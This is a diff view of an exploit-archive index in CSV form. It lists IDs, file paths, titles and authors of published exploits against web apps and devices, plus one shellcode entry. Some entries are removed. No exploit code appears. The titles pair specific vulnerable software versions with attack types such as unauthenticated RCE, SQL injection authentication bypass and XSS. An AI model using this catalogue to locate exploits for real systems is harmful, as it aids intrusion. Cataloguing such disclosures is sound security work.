50062,exploits/php/webapps/50062.py,"Seeddms 5.1.10 - Remote Command Execution (RCE) (Authenticated)",1970-01-01,"Bryan Leong",webapps,php,
|
||||||
49942,exploits/php/webapps/49942.txt,"FUDForum 3.1.0 - 'srch' Reflected XSS",1970-01-01,"Piyush Patil",webapps,php,
|
49942,exploits/php/webapps/49942.txt,"FUDForum 3.1.0 - 'srch' Reflected XSS",1970-01-01,"Piyush Patil",webapps,php,
|
||||||
49943,exploits/php/webapps/49943.txt,"FUDForum 3.1.0 - 'author' Reflected XSS",1970-01-01,"Piyush Patil",webapps,php,
|
49943,exploits/php/webapps/49943.txt,"FUDForum 3.1.0 - 'author' Reflected XSS",1970-01-01,"Piyush Patil",webapps,php,
|
||||||
|
|
@ -44133,7 +44067,6 @@ id,file,description,date,author,type,platform,port
|
||||||
49951,exploits/ruby/webapps/49951.py,"Gitlab 13.10.2 - Remote Code Execution (Authenticated)",1970-01-01,enox,webapps,ruby,
|
49951,exploits/ruby/webapps/49951.py,"Gitlab 13.10.2 - Remote Code Execution (Authenticated)",1970-01-01,enox,webapps,ruby,
|
||||||
49955,exploits/hardware/webapps/49955.py,"OptiLink ONT1GEW GPON 2.1.11_X101 Build 1127.190306 - Remote Code Execution (Authenticated)",1970-01-01,SecNigma,webapps,hardware,
|
49955,exploits/hardware/webapps/49955.py,"OptiLink ONT1GEW GPON 2.1.11_X101 Build 1127.190306 - Remote Code Execution (Authenticated)",1970-01-01,SecNigma,webapps,hardware,
|
||||||
49958,exploits/php/webapps/49958.txt,"WordPress Plugin Smart Slider-3 3.5.0.8 - 'name' Stored Cross-Site Scripting (XSS)",1970-01-01,"Hardik Solanki",webapps,php,
|
49958,exploits/php/webapps/49958.txt,"WordPress Plugin Smart Slider-3 3.5.0.8 - 'name' Stored Cross-Site Scripting (XSS)",1970-01-01,"Hardik Solanki",webapps,php,
|
||||||
49960,exploits/linux/webapps/49960.py,"Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticated)",1970-01-01,enox,webapps,linux,
|
|
||||||
49961,exploits/php/webapps/49961.py,"Grav CMS 1.7.10 - Server-Side Template Injection (SSTI) (Authenticated)",1970-01-01,enox,webapps,php,
|
49961,exploits/php/webapps/49961.py,"Grav CMS 1.7.10 - Server-Side Template Injection (SSTI) (Authenticated)",1970-01-01,enox,webapps,php,
|
||||||
49962,exploits/php/webapps/49962.sh,"Wordpress Plugin wpDiscuz 7.0.4 - Arbitrary File Upload (Unauthenticated)",1970-01-01,UnD3sc0n0c1d0,webapps,php,
|
49962,exploits/php/webapps/49962.sh,"Wordpress Plugin wpDiscuz 7.0.4 - Arbitrary File Upload (Unauthenticated)",1970-01-01,UnD3sc0n0c1d0,webapps,php,
|
||||||
49967,exploits/php/webapps/49967.py,"WordPress Plugin wpDiscuz 7.0.4 - Remote Code Execution (Unauthenticated)",1970-01-01,"Fellipe Oliveira",webapps,php,
|
49967,exploits/php/webapps/49967.py,"WordPress Plugin wpDiscuz 7.0.4 - Remote Code Execution (Unauthenticated)",1970-01-01,"Fellipe Oliveira",webapps,php,
|
||||||
|
|
@ -44159,7 +44092,6 @@ id,file,description,date,author,type,platform,port
|
||||||
49993,exploits/php/webapps/49993.txt,"COVID19 Testing Management System 1.0 - 'State' Stored Cross-Site-Scripting (XSS)",1970-01-01,"BHAVESH KAUL",webapps,php,
|
49993,exploits/php/webapps/49993.txt,"COVID19 Testing Management System 1.0 - 'State' Stored Cross-Site-Scripting (XSS)",1970-01-01,"BHAVESH KAUL",webapps,php,
|
||||||
49994,exploits/php/webapps/49994.txt,"Stock Management System 1.0 - 'user_id' Blind SQL injection (Authenticated)",1970-01-01,"Riadh Benlamine",webapps,php,
|
49994,exploits/php/webapps/49994.txt,"Stock Management System 1.0 - 'user_id' Blind SQL injection (Authenticated)",1970-01-01,"Riadh Benlamine",webapps,php,
|
||||||
49995,exploits/php/webapps/49995.txt,"Small CRM 3.0 - 'Authentication Bypass' SQL Injection",1970-01-01,"BHAVESH KAUL",webapps,php,
|
49995,exploits/php/webapps/49995.txt,"Small CRM 3.0 - 'Authentication Bypass' SQL Injection",1970-01-01,"BHAVESH KAUL",webapps,php,
|
||||||
49996,exploits/php/webapps/49996.txt,"TextPattern CMS 4.8.7 - Remote Command Execution (Authenticated)",1970-01-01,"Mert Daş",webapps,php,
|
|
||||||
49998,exploits/php/webapps/49998.py,"OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated)",1970-01-01,"Ron Jost",webapps,php,
|
49998,exploits/php/webapps/49998.py,"OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated)",1970-01-01,"Ron Jost",webapps,php,
|
||||||
50007,exploits/php/webapps/50007.txt,"Client Management System 1.1 - 'username' Stored Cross-Site Scripting (XSS)",1970-01-01,"BHAVESH KAUL",webapps,php,
|
50007,exploits/php/webapps/50007.txt,"Client Management System 1.1 - 'username' Stored Cross-Site Scripting (XSS)",1970-01-01,"BHAVESH KAUL",webapps,php,
|
||||||
50008,exploits/tru64/webapps/50008.txt,"Client Management System 1.1 - 'Search' SQL Injection",1970-01-01,"BHAVESH KAUL",webapps,tru64,
|
50008,exploits/tru64/webapps/50008.txt,"Client Management System 1.1 - 'Search' SQL Injection",1970-01-01,"BHAVESH KAUL",webapps,tru64,
|
||||||
|
|
@ -44190,13 +44122,11 @@ id,file,description,date,author,type,platform,port
|
||||||
50057,exploits/cfm/webapps/50057.py,"Adobe ColdFusion 8 - Remote Command Execution (RCE)",1970-01-01,Pergyz,webapps,cfm,
|
50057,exploits/cfm/webapps/50057.py,"Adobe ColdFusion 8 - Remote Command Execution (RCE)",1970-01-01,Pergyz,webapps,cfm,
|
||||||
50058,exploits/hardware/webapps/50058.py,"TP-Link TL-WR841N - Command Injection",1970-01-01,"Koh You Liang",webapps,hardware,
|
50058,exploits/hardware/webapps/50058.py,"TP-Link TL-WR841N - Command Injection",1970-01-01,"Koh You Liang",webapps,hardware,
|
||||||
50108,exploits/linux/webapps/50108.py,"Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticated) (2)",1970-01-01,enox,webapps,linux,
|
50108,exploits/linux/webapps/50108.py,"Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticated) (2)",1970-01-01,enox,webapps,linux,
|
||||||
50107,exploits/php/webapps/50107.py,"WordPress Plugin Anti-Malware Security and Bruteforce Firewall 4.20.59 - Directory Traversal",1970-01-01,TheSmuggler,webapps,php,
|
|
||||||
50063,exploits/php/webapps/50063.txt,"Simple Client Management System 1.0 - 'uemail' SQL Injection (Unauthenticated)",1970-01-01,"Barış Yıldızoğlu",webapps,php,
|
50063,exploits/php/webapps/50063.txt,"Simple Client Management System 1.0 - 'uemail' SQL Injection (Unauthenticated)",1970-01-01,"Barış Yıldızoğlu",webapps,php,
|
||||||
50064,exploits/php/webapps/50064.rb,"Lightweight facebook-styled blog 1.3 - Remote Code Execution (RCE) (Authenticated) (Metasploit)",1970-01-01,"Maide Ilkay Aydogdu",webapps,php,
|
50064,exploits/php/webapps/50064.rb,"Lightweight facebook-styled blog 1.3 - Remote Code Execution (RCE) (Authenticated) (Metasploit)",1970-01-01,"Maide Ilkay Aydogdu",webapps,php,
|
||||||
50066,exploits/php/webapps/50066.txt,"WordPress Plugin YOP Polls 6.2.7 - Stored Cross Site Scripting (XSS)",1970-01-01,"Toby Jackson",webapps,php,
|
50066,exploits/php/webapps/50066.txt,"WordPress Plugin YOP Polls 6.2.7 - Stored Cross Site Scripting (XSS)",1970-01-01,"Toby Jackson",webapps,php,
|
||||||
50075,exploits/php/webapps/50075.txt,"Online Voting System 1.0 - Authentication Bypass (SQLi)",1970-01-01,"Salman Asad",webapps,php,
|
50075,exploits/php/webapps/50075.txt,"Online Voting System 1.0 - Authentication Bypass (SQLi)",1970-01-01,"Salman Asad",webapps,php,
|
||||||
50074,exploits/php/webapps/50074.txt,"Doctors Patients Management System 1.0 - SQL Injection (Authentication Bypass)",1970-01-01,"Murat DEMİRCİ",webapps,php,
|
50074,exploits/php/webapps/50074.txt,"Doctors Patients Management System 1.0 - SQL Injection (Authentication Bypass)",1970-01-01,"Murat DEMİRCİ",webapps,php,
|
||||||
50068,exploits/macos/webapps/50068.txt,"Atlassian Jira Server/Data Center 8.16.0 - Reflected Cross-Site Scripting (XSS)",1970-01-01,Captain_hook,webapps,macos,
|
|
||||||
50069,exploits/hardware/webapps/50069.py,"Netgear WNAP320 2.0.3 - 'macAddress' Remote Code Execution (RCE) (Unauthenticated)",1970-01-01,"Bryan Leong",webapps,hardware,
|
50069,exploits/hardware/webapps/50069.py,"Netgear WNAP320 2.0.3 - 'macAddress' Remote Code Execution (RCE) (Unauthenticated)",1970-01-01,"Bryan Leong",webapps,hardware,
|
||||||
50071,exploits/php/webapps/50071.py,"phpAbook 0.9i - SQL Injection",1970-01-01,"Alejandro Perez",webapps,php,
|
50071,exploits/php/webapps/50071.py,"phpAbook 0.9i - SQL Injection",1970-01-01,"Alejandro Perez",webapps,php,
|
||||||
50072,exploits/multiple/webapps/50072.py,"Apache Superset 1.1.0 - Time-Based Account Enumeration",1970-01-01,"Dolev Farhi",webapps,multiple,
|
50072,exploits/multiple/webapps/50072.py,"Apache Superset 1.1.0 - Time-Based Account Enumeration",1970-01-01,"Dolev Farhi",webapps,multiple,
|
||||||
|
|
@ -44228,7 +44158,6 @@ id,file,description,date,author,type,platform,port
|
||||||
50103,exploits/php/webapps/50103.php,"Exam Hall Management System 1.0 - Unrestricted File Upload (Unauthenticated)",1970-01-01,"Thamer Almohammadi",webapps,php,
|
50103,exploits/php/webapps/50103.php,"Exam Hall Management System 1.0 - Unrestricted File Upload (Unauthenticated)",1970-01-01,"Thamer Almohammadi",webapps,php,
|
||||||
50104,exploits/hardware/webapps/50104.txt,"Visual Tools DVR VX16 4.2.28 - Local Privilege Escalation",1970-01-01,"Andrea D\'Ubaldo",webapps,hardware,
|
50104,exploits/hardware/webapps/50104.txt,"Visual Tools DVR VX16 4.2.28 - Local Privilege Escalation",1970-01-01,"Andrea D\'Ubaldo",webapps,hardware,
|
||||||
50105,exploits/php/webapps/50105.txt,"Phone Shop Sales Managements System 1.0 - Authentication Bypass (SQLi)",1970-01-01,faisalfs10x,webapps,php,
|
50105,exploits/php/webapps/50105.txt,"Phone Shop Sales Managements System 1.0 - Authentication Bypass (SQLi)",1970-01-01,faisalfs10x,webapps,php,
|
||||||
50106,exploits/php/webapps/50106.txt,"Phone Shop Sales Managements System 1.0 - 'Multiple' Arbitrary File Upload to Remote Code Execution",1970-01-01,faisalfs10x,webapps,php,
|
|
||||||
50109,exploits/php/webapps/50109.txt,"Online Covid Vaccination Scheduler System 1.0 - 'username' time-based blind SQL Injection",1970-01-01,faisalfs10x,webapps,php,
|
50109,exploits/php/webapps/50109.txt,"Online Covid Vaccination Scheduler System 1.0 - 'username' time-based blind SQL Injection",1970-01-01,faisalfs10x,webapps,php,
|
||||||
50110,exploits/php/webapps/50110.py,"WordPress Plugin Plainview Activity Monitor 20161228 - Remote Code Execution (RCE) (Authenticated) (2)",1970-01-01,"Beren Kuday GÖRÜN",webapps,php,
|
50110,exploits/php/webapps/50110.py,"WordPress Plugin Plainview Activity Monitor 20161228 - Remote Code Execution (RCE) (Authenticated) (2)",1970-01-01,"Beren Kuday GÖRÜN",webapps,php,
|
||||||
50111,exploits/php/webapps/50111.py,"Exam Hall Management System 1.0 - Unrestricted File Upload + RCE (Unauthenticated)",1970-01-01,"Davide \'yth1n\' Bianchin",webapps,php,
|
50111,exploits/php/webapps/50111.py,"Exam Hall Management System 1.0 - Unrestricted File Upload + RCE (Unauthenticated)",1970-01-01,"Davide \'yth1n\' Bianchin",webapps,php,
|
||||||
|
|
@ -44245,12 +44174,9 @@ id,file,description,date,author,type,platform,port
|
||||||
50123,exploits/php/webapps/50123.py,"Garbage Collection Management System 1.0 - SQL Injection + Arbitrary File Upload",1970-01-01,"Luca Bernardi",webapps,php,
|
50123,exploits/php/webapps/50123.py,"Garbage Collection Management System 1.0 - SQL Injection + Arbitrary File Upload",1970-01-01,"Luca Bernardi",webapps,php,
|
||||||
50128,exploits/php/webapps/50128.py,"osCommerce 2.3.4.1 - Remote Code Execution (2)",1970-01-01,"Bryan Leong",webapps,php,
|
50128,exploits/php/webapps/50128.py,"osCommerce 2.3.4.1 - Remote Code Execution (2)",1970-01-01,"Bryan Leong",webapps,php,
|
||||||
50129,exploits/php/webapps/50129.py,"WordPress Plugin Popular Posts 5.3.2 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,"Simone Cristofaro",webapps,php,
|
50129,exploits/php/webapps/50129.py,"WordPress Plugin Popular Posts 5.3.2 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,"Simone Cristofaro",webapps,php,
|
||||||
50131,exploits/java/webapps/50131.py,"ForgeRock Access Manager/OpenAM 14.6.3 - Remote Code Execution (RCE) (Unauthenticated)",1970-01-01,Photubias,webapps,java,
|
|
||||||
50132,exploits/hardware/webapps/50132.py,"Seagate BlackArmor NAS sg2000-2000.1331 - Command Injection",1970-01-01,"Metin Yunus Kandemir",webapps,hardware,
|
|
||||||
50137,exploits/php/webapps/50137.txt,"WordPress Plugin LearnPress 3.2.6.7 - 'current_items' SQL Injection (Authenticated)",1970-01-01,nhattruong,webapps,php,
|
50137,exploits/php/webapps/50137.txt,"WordPress Plugin LearnPress 3.2.6.7 - 'current_items' SQL Injection (Authenticated)",1970-01-01,nhattruong,webapps,php,
|
||||||
50138,exploits/php/webapps/50138.txt,"WordPress Plugin LearnPress 3.2.6.8 - Privilege Escalation",1970-01-01,nhattruong,webapps,php,
|
50138,exploits/php/webapps/50138.txt,"WordPress Plugin LearnPress 3.2.6.8 - Privilege Escalation",1970-01-01,nhattruong,webapps,php,
|
||||||
50139,exploits/php/webapps/50139.txt,"WordPress Plugin Mimetic Books 0.2.13 - 'Default Publisher ID field' Stored Cross-Site Scripting (XSS)",1970-01-01,"Vikas Srivastava",webapps,php,
|
50139,exploits/php/webapps/50139.txt,"WordPress Plugin Mimetic Books 0.2.13 - 'Default Publisher ID field' Stored Cross-Site Scripting (XSS)",1970-01-01,"Vikas Srivastava",webapps,php,
|
||||||
50140,exploits/php/webapps/50140.ps1,"Dolibarr ERP/CRM 10.0.6 - Login Brute Force",1970-01-01,"Creamy Chicken Soup",webapps,php,
|
|
||||||
50142,exploits/php/webapps/50142.txt,"PEEL Shopping 9.3.0 - 'id' Time-based SQL Injection",1970-01-01,faisalfs10x,webapps,php,
|
50142,exploits/php/webapps/50142.txt,"PEEL Shopping 9.3.0 - 'id' Time-based SQL Injection",1970-01-01,faisalfs10x,webapps,php,
|
||||||
50143,exploits/php/webapps/50143.txt,"WordPress Plugin KN Fix Your Title 1.0.1 - 'Separator' Stored Cross-Site Scripting (XSS)",1970-01-01,"Aakash Choudhary",webapps,php,
|
50143,exploits/php/webapps/50143.txt,"WordPress Plugin KN Fix Your Title 1.0.1 - 'Separator' Stored Cross-Site Scripting (XSS)",1970-01-01,"Aakash Choudhary",webapps,php,
|
||||||
50144,exploits/linux/webapps/50144.py,"Webmin 1.973 - 'run.cgi' Cross-Site Request Forgery (CSRF)",1970-01-01,Mesh3l_911,webapps,linux,
|
50144,exploits/linux/webapps/50144.py,"Webmin 1.973 - 'run.cgi' Cross-Site Request Forgery (CSRF)",1970-01-01,Mesh3l_911,webapps,linux,
|
||||||
|
|
@ -44274,7 +44200,6 @@ id,file,description,date,author,type,platform,port
|
||||||
50173,exploits/php/webapps/50173.py,"Hotel Management System 1.0 - Cross-Site Scripting (XSS) Arbitrary File Upload Remote Code Execution (RCE)",1970-01-01,"Merbin Russel",webapps,php,
|
50173,exploits/php/webapps/50173.py,"Hotel Management System 1.0 - Cross-Site Scripting (XSS) Arbitrary File Upload Remote Code Execution (RCE)",1970-01-01,"Merbin Russel",webapps,php,
|
||||||
50174,exploits/php/webapps/50174.txt,"WordPress Plugin WP Customize Login 1.1 - 'Change Logo Title' Stored Cross-Site Scripting (XSS)",1970-01-01,"Aryan Chehreghani",webapps,php,
|
50174,exploits/php/webapps/50174.txt,"WordPress Plugin WP Customize Login 1.1 - 'Change Logo Title' Stored Cross-Site Scripting (XSS)",1970-01-01,"Aryan Chehreghani",webapps,php,
|
||||||
50175,exploits/php/webapps/50175.py,"qdPM 9.1 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,"Leon Trappett",webapps,php,
|
50175,exploits/php/webapps/50175.py,"qdPM 9.1 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,"Leon Trappett",webapps,php,
|
||||||
50176,exploits/php/webapps/50176.txt,"qdPM 9.2 - DB Connection String and Password Exposure (Unauthenticated)",1970-01-01,"Leon Trappett",webapps,php,
|
|
||||||
50177,exploits/php/webapps/50177.txt,"Client Management System 1.1 - 'cname' Stored Cross-site scripting (XSS)",1970-01-01,"Mohammad Koochaki",webapps,php,
|
50177,exploits/php/webapps/50177.txt,"Client Management System 1.1 - 'cname' Stored Cross-site scripting (XSS)",1970-01-01,"Mohammad Koochaki",webapps,php,
|
||||||
50179,exploits/php/webapps/50179.txt,"CMSuno 1.7 - 'tgo' Stored Cross-Site Scripting (XSS) (Authenticated)",1970-01-01,splint3rsec,webapps,php,
|
50179,exploits/php/webapps/50179.txt,"CMSuno 1.7 - 'tgo' Stored Cross-Site Scripting (XSS) (Authenticated)",1970-01-01,splint3rsec,webapps,php,
|
||||||
50180,exploits/php/webapps/50180.py,"Moodle 3.9 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,lanz,webapps,php,
|
50180,exploits/php/webapps/50180.py,"Moodle 3.9 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,lanz,webapps,php,
|
||||||
|
|
@ -44306,7 +44231,6 @@ id,file,description,date,author,type,platform,port
|
||||||
50217,exploits/php/webapps/50217.txt,"Charity Management System CMS 1.0 - Multiple Vulnerabilities",1970-01-01,"Davide Taraschi",webapps,php,
|
50217,exploits/php/webapps/50217.txt,"Charity Management System CMS 1.0 - Multiple Vulnerabilities",1970-01-01,"Davide Taraschi",webapps,php,
|
||||||
50220,exploits/php/webapps/50220.txt,"Laundry Booking Management System 1.0 - 'Multiple' Stored Cross-Site Scripting (XSS)",1970-01-01,"Azumah Foresight Xorlali",webapps,php,
|
50220,exploits/php/webapps/50220.txt,"Laundry Booking Management System 1.0 - 'Multiple' Stored Cross-Site Scripting (XSS)",1970-01-01,"Azumah Foresight Xorlali",webapps,php,
|
||||||
50221,exploits/php/webapps/50221.py,"Online Traffic Offense Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)",1970-01-01,"Halit AKAYDIN",webapps,php,
|
50221,exploits/php/webapps/50221.py,"Online Traffic Offense Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)",1970-01-01,"Halit AKAYDIN",webapps,php,
|
||||||
50223,exploits/php/webapps/50223.txt,"Simple Phone book/directory 1.0 - 'Username' SQL Injection (Unauthenticated)",1970-01-01,"Justin White",webapps,php,
|
|
||||||
50224,exploits/php/webapps/50224.py,"RaspAP 2.6.6 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,"Moritz Gruber",webapps,php,
|
50224,exploits/php/webapps/50224.py,"RaspAP 2.6.6 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,"Moritz Gruber",webapps,php,
|
||||||
50226,exploits/php/webapps/50226.py,"WordPress Plugin Mail Masta 1.0 - Local File Inclusion (2)",1970-01-01,"Matheus Alexandre",webapps,php,
|
50226,exploits/php/webapps/50226.py,"WordPress Plugin Mail Masta 1.0 - Local File Inclusion (2)",1970-01-01,"Matheus Alexandre",webapps,php,
|
||||||
50227,exploits/hardware/webapps/50227.py,"HP OfficeJet 4630/7110 MYM1FN2025AR/2117A - Stored Cross-Site Scripting (XSS)",1970-01-01,"Tyler Butler",webapps,hardware,
|
50227,exploits/hardware/webapps/50227.py,"HP OfficeJet 4630/7110 MYM1FN2025AR/2117A - Stored Cross-Site Scripting (XSS)",1970-01-01,"Tyler Butler",webapps,hardware,
|
||||||
|
|
@ -44349,7 +44273,6 @@ id,file,description,date,author,type,platform,port
|
||||||
50278,exploits/hardware/webapps/50278.txt,"ECOA Building Automation System - 'multiple' Cross-Site Request Forgery (CSRF)",1970-01-01,Neurogenesia,webapps,hardware,
|
50278,exploits/hardware/webapps/50278.txt,"ECOA Building Automation System - 'multiple' Cross-Site Request Forgery (CSRF)",1970-01-01,Neurogenesia,webapps,hardware,
|
||||||
50279,exploits/hardware/webapps/50279.txt,"ECOA Building Automation System - Cookie Poisoning Authentication Bypass",1970-01-01,Neurogenesia,webapps,hardware,
|
50279,exploits/hardware/webapps/50279.txt,"ECOA Building Automation System - Cookie Poisoning Authentication Bypass",1970-01-01,Neurogenesia,webapps,hardware,
|
||||||
50280,exploits/hardware/webapps/50280.txt,"ECOA Building Automation System - Configuration Download Information Disclosure",1970-01-01,Neurogenesia,webapps,hardware,
|
50280,exploits/hardware/webapps/50280.txt,"ECOA Building Automation System - Configuration Download Information Disclosure",1970-01-01,Neurogenesia,webapps,hardware,
|
||||||
50281,exploits/hardware/webapps/50281.txt,"ECOA Building Automation System - Hidden Backdoor Accounts and backdoor() Function",1970-01-01,Neurogenesia,webapps,hardware,
|
|
||||||
50284,exploits/hardware/webapps/50284.txt,"ECOA Building Automation System - Remote Privilege Escalation",1970-01-01,Neurogenesia,webapps,hardware,
|
50284,exploits/hardware/webapps/50284.txt,"ECOA Building Automation System - Remote Privilege Escalation",1970-01-01,Neurogenesia,webapps,hardware,
|
||||||
50285,exploits/hardware/webapps/50285.txt,"ECOA Building Automation System - Local File Disclosure",1970-01-01,Neurogenesia,webapps,hardware,
|
50285,exploits/hardware/webapps/50285.txt,"ECOA Building Automation System - Local File Disclosure",1970-01-01,Neurogenesia,webapps,hardware,
|
||||||
50286,exploits/hardware/webapps/50286.txt,"ECOA Building Automation System - Arbitrary File Deletion",1970-01-01,Neurogenesia,webapps,hardware,
|
50286,exploits/hardware/webapps/50286.txt,"ECOA Building Automation System - Arbitrary File Deletion",1970-01-01,Neurogenesia,webapps,hardware,
|
||||||
|
|
@ -44368,7 +44291,6 @@ id,file,description,date,author,type,platform,port
|
||||||
50304,exploits/php/webapps/50304.sh,"WordPress 5.7 - 'Media Library' XML External Entity Injection (XXE) (Authenticated)",1970-01-01,"David Utón",webapps,php,
|
50304,exploits/php/webapps/50304.sh,"WordPress 5.7 - 'Media Library' XML External Entity Injection (XXE) (Authenticated)",1970-01-01,"David Utón",webapps,php,
|
||||||
50305,exploits/php/webapps/50305.py,"Online Food Ordering System 2.0 - Remote Code Execution (RCE) (Unauthenticated)",1970-01-01,"Abdullah Khawaja",webapps,php,
|
50305,exploits/php/webapps/50305.py,"Online Food Ordering System 2.0 - Remote Code Execution (RCE) (Unauthenticated)",1970-01-01,"Abdullah Khawaja",webapps,php,
|
||||||
50306,exploits/php/webapps/50306.py,"Church Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)",1970-01-01,"Abdullah Khawaja",webapps,php,
|
50306,exploits/php/webapps/50306.py,"Church Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)",1970-01-01,"Abdullah Khawaja",webapps,php,
|
||||||
50307,exploits/php/webapps/50307.txt,"Budget and Expense Tracker System 1.0 - Authenticated Bypass",1970-01-01,"Prunier Charles-Yves",webapps,php,
|
|
||||||
50308,exploits/php/webapps/50308.txt,"Budget and Expense Tracker System 1.0 - Remote Code Execution (RCE) (Unauthenticated)",1970-01-01,"Abdullah Khawaja",webapps,php,
|
50308,exploits/php/webapps/50308.txt,"Budget and Expense Tracker System 1.0 - Remote Code Execution (RCE) (Unauthenticated)",1970-01-01,"Abdullah Khawaja",webapps,php,
|
||||||
50310,exploits/php/webapps/50310.py,"WebsiteBaker 2.13.0 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,"Halit AKAYDIN",webapps,php,
|
50310,exploits/php/webapps/50310.py,"WebsiteBaker 2.13.0 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,"Halit AKAYDIN",webapps,php,
|
||||||
50315,exploits/php/webapps/50315.py,"e107 CMS 2.3.0 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,"Halit AKAYDIN",webapps,php,
|
50315,exploits/php/webapps/50315.py,"e107 CMS 2.3.0 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,"Halit AKAYDIN",webapps,php,
|
||||||
|
|
@ -44396,16 +44318,12 @@ id,file,description,date,author,type,platform,port
|
||||||
50345,exploits/php/webapps/50345.txt,"WordPress Plugin Ultimate Maps 1.2.4 - Reflected Cross-Site Scripting (XSS)",1970-01-01,0xB9,webapps,php,
|
50345,exploits/php/webapps/50345.txt,"WordPress Plugin Ultimate Maps 1.2.4 - Reflected Cross-Site Scripting (XSS)",1970-01-01,0xB9,webapps,php,
|
||||||
50346,exploits/php/webapps/50346.txt,"WordPress Plugin Popup 1.10.4 - Reflected Cross-Site Scripting (XSS)",1970-01-01,0xB9,webapps,php,
|
50346,exploits/php/webapps/50346.txt,"WordPress Plugin Popup 1.10.4 - Reflected Cross-Site Scripting (XSS)",1970-01-01,0xB9,webapps,php,
|
||||||
50348,exploits/php/webapps/50348.py,"Storage Unit Rental Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)",1970-01-01,Ghuliev,webapps,php,
|
50348,exploits/php/webapps/50348.py,"Storage Unit Rental Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)",1970-01-01,Ghuliev,webapps,php,
|
||||||
50349,exploits/php/webapps/50349.txt,"WordPress Plugin Select All Categories and Taxonomies 1.3.1 - Reflected Cross-Site Scripting (XSS)",1970-01-01,0xB9,webapps,php,
|
|
||||||
50350,exploits/php/webapps/50350.txt,"WordPress Plugin Redirect 404 to Parent 1.3.0 - Reflected Cross-Site Scripting (XSS)",1970-01-01,0xB9,webapps,php,
|
|
||||||
50352,exploits/php/webapps/50352.txt,"OpenSIS 8.0 - 'cp_id_miss_attn' Reflected Cross-Site Scripting (XSS)",1970-01-01,"Eric Salario",webapps,php,
|
50352,exploits/php/webapps/50352.txt,"OpenSIS 8.0 - 'cp_id_miss_attn' Reflected Cross-Site Scripting (XSS)",1970-01-01,"Eric Salario",webapps,php,
|
||||||
50353,exploits/php/webapps/50353.php,"Pet Shop Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)",1970-01-01,Mr.Gedik,webapps,php,
|
50353,exploits/php/webapps/50353.php,"Pet Shop Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)",1970-01-01,Mr.Gedik,webapps,php,
|
||||||
50355,exploits/php/webapps/50355.txt,"Cyber Cafe Management System Project (CCMS) 1.0 - SQL Injection Authentication Bypass",1970-01-01,"Sanjay Singh",webapps,php,
|
50355,exploits/php/webapps/50355.txt,"Cyber Cafe Management System Project (CCMS) 1.0 - SQL Injection Authentication Bypass",1970-01-01,"Sanjay Singh",webapps,php,
|
||||||
50356,exploits/php/webapps/50356.py,"Cmsimple 5.4 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,pussycat0x,webapps,php,
|
50356,exploits/php/webapps/50356.py,"Cmsimple 5.4 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,pussycat0x,webapps,php,
|
||||||
50357,exploits/php/webapps/50357.txt,"Pharmacy Point of Sale System 1.0 - 'Multiple' SQL Injection (SQLi)",1970-01-01,Murat,webapps,php,
|
50357,exploits/php/webapps/50357.txt,"Pharmacy Point of Sale System 1.0 - 'Multiple' SQL Injection (SQLi)",1970-01-01,Murat,webapps,php,
|
||||||
50360,exploits/php/webapps/50360.txt,"Exam Form Submission System 1.0 - SQL Injection Authentication Bypass",1970-01-01,"Nitin Sharma",webapps,php,
|
50360,exploits/php/webapps/50360.txt,"Exam Form Submission System 1.0 - SQL Injection Authentication Bypass",1970-01-01,"Nitin Sharma",webapps,php,
|
||||||
50361,exploits/php/webapps/50361.txt,"Drupal Module MiniorangeSAML 8.x-2.22 - Privilege escalation via XML Signature Wrapping",1970-01-01,"Cristian \'void\' Giustini",webapps,php,
|
|
||||||
50363,exploits/php/webapps/50363.txt,"Phpwcms 1.9.30 - File Upload to XSS",1970-01-01,"Okan Kurtulus",webapps,php,
|
|
||||||
50364,exploits/php/webapps/50364.py,"Vehicle Service Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)",1970-01-01,Ghuliev,webapps,php,
|
50364,exploits/php/webapps/50364.py,"Vehicle Service Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)",1970-01-01,Ghuliev,webapps,php,
|
||||||
50365,exploits/php/webapps/50365.txt,"Dairy Farm Shop Management System 1.0 - SQL Injection Authentication Bypass",1970-01-01,"Sanjay Singh",webapps,php,
|
50365,exploits/php/webapps/50365.txt,"Dairy Farm Shop Management System 1.0 - SQL Injection Authentication Bypass",1970-01-01,"Sanjay Singh",webapps,php,
|
||||||
50366,exploits/multiple/webapps/50366.txt,"WhatsUpGold 21.0.3 - Stored Cross-Site Scripting (XSS)",1970-01-01,"Andreas Finstad",webapps,multiple,
|
50366,exploits/multiple/webapps/50366.txt,"WhatsUpGold 21.0.3 - Stored Cross-Site Scripting (XSS)",1970-01-01,"Andreas Finstad",webapps,multiple,
|
||||||
|
|
|
||||||
|
Can't render this file because it is too large.
|
|
|
@ -1025,10 +1025,4 @@ id,file,description,date,author,type,platform
|
||||||
48592,shellcodes/linux_x86/48592.c,"Linux/x86 - Disable ASLR Security + Polymorphic Shellcode (124 bytes)",1970-01-01,"Xenofon Vassilakopoulos",shellcode,linux_x86
|
48592,shellcodes/linux_x86/48592.c,"Linux/x86 - Disable ASLR Security + Polymorphic Shellcode (124 bytes)",1970-01-01,"Xenofon Vassilakopoulos",shellcode,linux_x86
|
||||||
